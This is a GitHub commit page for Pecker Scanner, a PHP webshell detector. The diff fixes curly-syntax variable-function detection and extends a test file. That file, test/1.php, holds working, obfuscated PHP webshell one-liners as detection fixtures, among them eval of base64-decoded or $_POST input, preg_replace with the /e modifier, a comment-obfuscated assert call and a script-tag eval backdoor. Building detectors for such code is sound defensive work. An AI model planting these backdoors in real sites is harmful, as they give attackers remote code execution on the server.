Skip to content

Commit aa00cdb

Browse files
cfc4ncfc4n
committed
fix bugs
Bugfix:Missing of the variable used curly syntax. (thanks for XNR https://github.com/chinurho)
1 parent a196eef commit aa00cdb

File tree

5 files changed

+111
-18
lines changed

5 files changed

+111
-18
lines changed

‎CHANGES.cn

+7-1
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,15 @@
1+
Pecker Scanner-0.4.2 [2014-03-06]
2+
* Bugfix：修复复杂句法规则curly syntax的变量函数漏报问题。(thanks for XNR https://github.com/chinurho)
3+
4+
Pecker Scanner-0.4.2 [2014-03-05]
5+
* Bugfix：更新template.html中pecker scanner server的网址。
6+
17
Pecker Scanner-0.4.1 [2014-03-04]
28
* Bugfix：更改changes日志记录
39

410
Pecker Scanner-0.4.0 [2014-03-03]
511
* Bugfix：修复变量中使用"{" 和 "["的语法拼接成的变量函数的漏检。
6-
* Bugfix：修复引用文件语法后，下一个语法字符不是";"而拼接字符"."的语法。EG:(require '1.dat').'.php'; thanks for poker付 ( http://weibo.com/1776130645 )
12+
* Bugfix：修复引用文件语法后，下一个语法字符不是";"而拼接字符"."的语法。EG:(require '1.dat').'.php';(thanks for poker付 http://weibo.com/1776130645 )
713
* Bugfix：添加 "include"到默认检测配置。
814

915
Pecker Scanner-0.3.1 [2013-09-26]

‎Pecker/Parser.php

+4-4
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
* @license http://www.fsf.org/copyleft/gpl.html GNU public license
1616
* @author CFC4N <[email protected]>
1717
* @package Parser
18-
* @version $Id: Parser.php 28 2014-03-03 03:30:23Z cfc4n $
18+
* @version $Id: Parser.php 29 2014-03-06 12:55:31Z cfc4n $
1919
*/
2020

2121
class Pecker_Parser
@@ -936,7 +936,7 @@ class Pecker_Parser
936936
protected $errMsg;
937937
private $tokens;
938938
private $tokensSkip = array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,T_ENCAPSED_AND_WHITESPACE);
939-
private $tokensVariable = array('{','}','[',']','.');
939+
private $tokensVariable = array('{','}');
940940

941941
/**
942942
* Creates a parser instance.
@@ -1124,7 +1124,7 @@ public function parse($code) {
11241124
}
11251125

11261126
/**
1127-
* get next tokens after a variable
1127+
* get next tokens after a variable,like curly syntax
11281128
* @param int $k
11291129
* @return array
11301130
*/
@@ -1144,7 +1144,7 @@ public function getVariableToken($k)
11441144
}
11451145
else
11461146
{
1147-
if (!in_array($this->tokens[$k+$i],$this->tokensVariable))
1147+
if (in_array($this->tokens[$k+$i],$this->tokensVariable))
11481148
{
11491149
$res = $this->tokens[$k+$i];
11501150
break;

‎Pecker/Scanner.php

+26-2
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
* @license http://www.fsf.org/copyleft/gpl.html GNU public license
1414
* @author CFC4N <[email protected]>
1515
* @package Scanner
16-
* @version $Id: Scanner.php 28 2014-03-03 03:30:23Z cfc4n $
16+
* @version $Id: Scanner.php 29 2014-03-06 12:55:31Z cfc4n $
1717
*/
1818
class Pecker_Scanner
1919
{
@@ -186,6 +186,7 @@ private function checkTokens(array $tokens)
186186
break;
187187
case T_VARIABLE:
188188
$ntoken = $this->parser->getNextToken($k);
189+
// var_dump($token,$ntoken);exit();
189190
$ptoken = $this->parser->getPreToken($k);
190191
if ($ntoken === '(' && $ptoken != '->' && $ptoken !== '::' && $ptoken !== 'function' && $ptoken !== 'new')
191192
{
@@ -241,8 +242,31 @@ private function checkTokens(array $tokens)
241242
}
242243
elseif($token === '$')
243244
{
245+
/**
246+
* Zend_language_scanner.c : yy56 、yy61
247+
*
248+
$nt = $this->parser->getNextToken($k);
249+
switch ($nt)
250+
{
251+
case '$':
252+
break;
253+
case '\\':
254+
break;
255+
case '{':
256+
break;
257+
default:
258+
}
259+
*/
244260
$nt = $this->parser->getVariableToken($k);
245-
if ($nt['token'] === '(')
261+
if ($nt['token'] === '{')
262+
{
263+
$nt1 = $this->parser->getVariableToken($k+$nt['key']+1);
264+
if ($nt1['token'] === '}' && $this->parser->getNextToken($k+$nt['key']+$nt1['key']+2) === '(')
265+
{
266+
$this->report->catchLog('${'.$nt1['func'].'}', 0,$this->parser->getPieceTokenAll($nt1['key']+$k+1));
267+
}
268+
}
269+
elseif($nt['token'] === '(')
246270
{
247271
$this->report->catchLog('$'.$nt['func'], 0,$this->parser->getPieceTokenAll($nt['key']+$k));
248272
}

‎PeckerLite/PeckerScanner.lite.php

+30-9
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
* @license http://www.fsf.org/copyleft/gpl.html GNU public license
1616
* @author CFC4N <[email protected]>
1717
* @package Lexer All
18-
* @version $Id: PeckerScanner.lite.php 1 2013-10-28 10:34:53Z cfc4n $
18+
* @version $Id: PeckerScanner.lite.php 29 2014-03-06 12:55:31Z cfc4n $
1919
*/
2020

2121
class Pecker_Scanner
@@ -189,6 +189,7 @@ private function checkTokens(array $tokens)
189189
break;
190190
case T_VARIABLE:
191191
$ntoken = $this->parser->getNextToken($k);
192+
// var_dump($token,$ntoken);exit();
192193
$ptoken = $this->parser->getPreToken($k);
193194
if ($ntoken === '(' && $ptoken != '->' && $ptoken !== '::' && $ptoken !== 'function' && $ptoken !== 'new')
194195
{
@@ -244,8 +245,31 @@ private function checkTokens(array $tokens)
244245
}
245246
elseif($token === '$')
246247
{
248+
/**
249+
* Zend_language_scanner.c : yy56 、yy61
250+
*
251+
$nt = $this->parser->getNextToken($k);
252+
switch ($nt)
253+
{
254+
case '$':
255+
break;
256+
case '\\':
257+
break;
258+
case '{':
259+
break;
260+
default:
261+
}
262+
*/
247263
$nt = $this->parser->getVariableToken($k);
248-
if ($nt['token'] === '(')
264+
if ($nt['token'] === '{')
265+
{
266+
$nt1 = $this->parser->getVariableToken($k+$nt['key']+1);
267+
if ($nt1['token'] === '}' && $this->parser->getNextToken($k+$nt['key']+$nt1['key']+2) === '(')
268+
{
269+
$this->report->catchLog('${'.$nt1['func'].'}', 0,$this->parser->getPieceTokenAll($nt1['key']+$k+1));
270+
}
271+
}
272+
elseif($nt['token'] === '(')
249273
{
250274
$this->report->catchLog('$'.$nt['func'], 0,$this->parser->getPieceTokenAll($nt['key']+$k));
251275
}
@@ -293,6 +317,7 @@ private function _hasCallback($str)
293317
}
294318
}
295319

320+
296321
class Pecker_Lexer
297322
{
298323
protected $code;
@@ -460,7 +485,6 @@ public function getTokens()
460485
}
461486

462487

463-
464488
class Pecker_Parser
465489
{
466490
const TOKEN_NONE = -1;
@@ -1379,7 +1403,7 @@ class Pecker_Parser
13791403
protected $errMsg;
13801404
private $tokens;
13811405
private $tokensSkip = array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,T_ENCAPSED_AND_WHITESPACE);
1382-
private $tokensVariable = array('{','}','[',']','.');
1406+
private $tokensVariable = array('{','}');
13831407

13841408
/**
13851409
* Creates a parser instance.
@@ -1567,7 +1591,7 @@ public function parse($code) {
15671591
}
15681592

15691593
/**
1570-
* get next tokens after a variable
1594+
* get next tokens after a variable,like curly syntax
15711595
* @param int $k
15721596
* @return array
15731597
*/
@@ -1587,7 +1611,7 @@ public function getVariableToken($k)
15871611
}
15881612
else
15891613
{
1590-
if (!in_array($this->tokens[$k+$i],$this->tokensVariable))
1614+
if (in_array($this->tokens[$k+$i],$this->tokensVariable))
15911615
{
15921616
$res = $this->tokens[$k+$i];
15931617
break;
@@ -1795,9 +1819,6 @@ public function getErrmsg()
17951819
}
17961820
}
17971821

1798-
1799-
1800-
18011822
class Pecker_Loger
18021823
{
18031824
protected $result;

‎test/1.php

+44-2
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
* @license http://www.fsf.org/copyleft/gpl.html GNU public license
1414
* @author CFC4N <[email protected]>
1515
* @package demo
16-
* @version $Id$
16+
* @version $Id: 1.php 29 2014-03-06 12:55:31Z cfc4n $
1717
*/
1818

1919
$str = 'base64_decode';
@@ -58,4 +58,46 @@ function exec() //pass
5858
$b{0}('ipconfig'); //get is
5959
echo $b[0]; //pass
6060
echo $b{0}; //pass
61-
?>
61+
62+
${@func1}(); //get it
63+
$$a(); //get it
64+
${true?$func1:$func2}(); //get it
65+
${2+1}(); //get it
66+
${2+1}; //pass
67+
${@func}; //pass
68+
69+
70+
@preg_replace("/[pageerror]/e",$_POST['error'],"cfc"); //get it
71+
header('HTTP/1.1 404 Not Found');
72+
73+
preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a'); //get it
74+
75+
if(reset($a) == '10' && count($a) == 9) {
76+
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); //get it
77+
}
78+
79+
($_=@$_GET[2]).@$_($_POST[1]); //get it
80+
81+
$_="";
82+
$_[+""]='';
83+
$_="$_"."";
84+
$_=($_[+""]|"").($_[+""]|"").($_[+""]^""); //get it
85+
86+
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
87+
$hh("/[discuz]/e",$_POST['h'],"Access"); //get it
88+
${'_'.$_}['_'](${'_'.$_}['__']); //get it
89+
?>
90+
<script language="php">@eval($_POST[sb])</script> //get it
91+
92+
<?php
93+
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
94+
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
95+
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
96+
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); //get it
97+
98+
$_="";
99+
$_[+""]='';
100+
$_="$_"."";
101+
$_=($_[+""]|"0x06").($_[+""]|"0x05").($_[+""]^"0x15"); //get it
102+
?>
103+
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

0 commit comments

Comments
 (0)